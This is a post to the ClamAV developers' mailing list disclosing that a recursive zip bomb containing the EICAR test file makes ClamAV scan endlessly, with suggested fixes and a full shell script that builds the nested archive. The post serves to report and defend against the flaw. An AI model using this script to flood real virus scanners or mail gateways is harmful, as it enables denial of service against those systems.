This zip file (see http://iki.fi/v/tmp/test.zip) created with the below
script (see http://iki.fi/v/tmp/test.create) is treated worse than it could
be by ClamAV.
It doesn't cause ClamAV to run out of memory (applause), but ClamAV would
probably use infinite time inspecting it and doesn't seem to find the virii
(Eicar test virus) buried in it.
It seems ClamAV uses breadth-first search to extract the recursive zip,
rather than depth-first.
F-Prot seems to do depth-first and immediately begins reporting virus
infections.
I suggest the following to treat this sort of malicious .zip's better:
- use depth-first search (will not help, of course, if the virus is _only_
in the last leaf of the zip tree)
- (optionally) bail out on first infection. This zip contains millions of
virii (depending on which parameters you choose in the script), no point
in finding them all
- limit recursion depth / cpu time somehow and decide the zip is malicious
if these limits are met. Searching through all of this zip would possibly
take millions of years. Imagine someone sending a few hundred of these to
a mail gateway using virus filtering.
Of, course this is not limited to .zip but all archive formats potentially
have the same problem.
---------------------------------------------------------------
# Create test.zip
f=foo
mkdir $f
for i in $(seq 1 10); do
# create 10 files full of zero
touch $f/$f-$i;
perl -e 'truncate "'$f/$f-$i'", 1024**2';
done
# add a test virus
wget http://www.eicar.org/download/eicar_com.zip -O foo/foo.zip
# recursively create a "tree" of zips
for j in $(seq 1 30); do
mkdir $j
zip -9 $j/$j-1.zip $f/$f*
for i in $(seq 2 20); do ln $j/$j-1.zip $j/$j-$i.zip; done
f=$j
done
zip -9 test.zip $f/$f*
---------------------------------------------------------------
--
"Minulla on vain tämä likainen parketti. Ei muuta." - Stam1na
_______________________________________________
http://lurker.clamav.net/list/clamav-devel.html
